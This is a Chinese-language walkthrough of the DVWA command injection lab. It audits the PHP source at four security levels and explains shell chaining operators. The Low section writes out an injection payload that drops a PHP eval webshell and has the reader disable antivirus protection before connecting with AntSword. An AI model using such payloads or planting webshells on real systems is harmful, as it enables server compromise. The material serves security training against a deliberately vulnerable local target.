DVWA-Command Injection(命令执行)
命令执行漏洞,顾名思义,服务端在进行一些网站的操作、管理的时候,需要调用系统命令,如果对传入的命令参数没有进行一些过滤,可以直接执行服务器系统的命令终端
LOW
审计源码
<?php
// 判断是否提交了 Submit
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取 ip 传参,理想输入IP地址
$target = $_REQUEST[ 'ip' ];
// 确认操作系统
// stristr() 截取 Windows NT 从开始到结束的位置
// php_uname() 获取PHP版本信息 ,值为s,获取操作系统名称
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 如果是windows,执行ping命令跟上传入的IP地址
// shell_exec() 执行系统命令
$cmd = shell_exec( 'ping ' . $target );
}
else {
// 如果是linux、unix等系统,执行 ping -c 4 四次测试,在Linux中ping是不会自动停止的
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 打印命令执行结果
echo "<pre>{$cmd}</pre>";
}
?>
可以看到,对输入的IP没有进行任何的过滤,可以直接进行命令注入
在windows命令行中,可以使用
& && | ||
& 符号
通过图片可以看出,&号无论ping
执行正确还是失败,都会执行net user
&& 符号
&&只有ping
命令执行成功后,后面的net user
才可以执行成功
| 符号
|
是意思是,将ping
执行的结果,交给net user
处理,只会回显net user
的回显,但是无论ping
执行是否成功,一定会执行net user
|| 符号
||
会寻找正确的语句执行,执行完就会停止,可以看到,ping
语句执行失败,执行了net user
,第二条命令ping
执行成功,没有执行echo
,后面使用type
验证echo
没有执行成功
命令注入
在框中输入a|dir
,查看当前目录文件,发现只有一个index.php
使用echo写入一句话木马a|echo "<?php @eval($_POST[cmd])?>" > a.php
如果在Windows 10
中运行,现将安全中心的实时防护
关闭
执行后没有任何回显,应该是写入成功了
继续使用a|dir
查看木马是否写入成功
a.php已经被写入成功,使用a|type a.php
查看a.php
内容
只有两个双引号,里面的php语句应该是被当做页面执行了
使用蚁剑进行连接
蚁剑是一个类似于中国菜刀的工具,但是比起中国菜单更好用,下载见
启动器
源码
将启动器和源码分别解压,然后启动器启动时选择启动目录为加压的源码目录就可以使用
根据a|dir
获取a.php
木马的路径,D:\phpstudy_pro\WWW\dvwa\vulnerabilities\exec
那么在地址栏中就是http://127.0.0.1/dvwa/vulnerabilities/exec/a.php
,测试连接成功
添加,双击进入可以查看靶机目录
利用成功
Medium
审计源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取传入的 ip
$target = $_REQUEST[ 'ip' ];
// 定义字符黑名单
$substitutions = array(
'&&' => '',
';' => '',
);
// 将黑名单中的字符过滤,替换为空
// str_replace() 替换选中的字符
// array_keys选中 && ;,
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// 判断操作系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 返回命令执行回显
echo "<pre>{$cmd}</pre>";
}
?>
这里对&&
和;
号进行了过滤,但是对我们没有什么影响,|
依然能用
a|echo hello world
测试
成功打印了hello wolrd
成功过关
High
审计源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取 IP 传参
$target = trim($_REQUEST[ 'ip' ]);
// 定义过滤黑名单
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// 将IP中的黑名单字符转换为空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// 判断操作系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 返回命令执行回显
echo "<pre>{$cmd}</pre>";
}
?>
可以看到和Medium
的代码没什么区别,不过添加的黑名单变多了,|
视乎也被过滤了
但是仔细观察会发现,过滤的是|
,|空格
,并不是|
,在程序中,空格也是一个字符
所以使用|
依然可以使用
a|echo cnblogs.com/Junglezt
,测试
执行成功,过关
Impossible
审计源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 检查token值
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取输入的IP地址
$target = $_REQUEST[ 'ip' ];
// 去除左右两边的反斜杠
$target = stripslashes( $target );
// 将传入的IP使用 . 进行分割
$octet = explode( ".", $target );
// 根据IP地址的格式,判断用 . 分开的四个部分是不是数字
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 如果是数字,将四个字数拼接为一个IP地址
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 判断操作系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 返回命令执行回显
echo "<pre>{$cmd}</pre>";
}
else {
// 命令执行失败,检查输入的是不是一个IP地址
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// 生成 user_token
generateSessionToken();
?>
引入了user_token
,并且将输入的传参分割判断是不是IP地址的格式,所以这才是 Impossible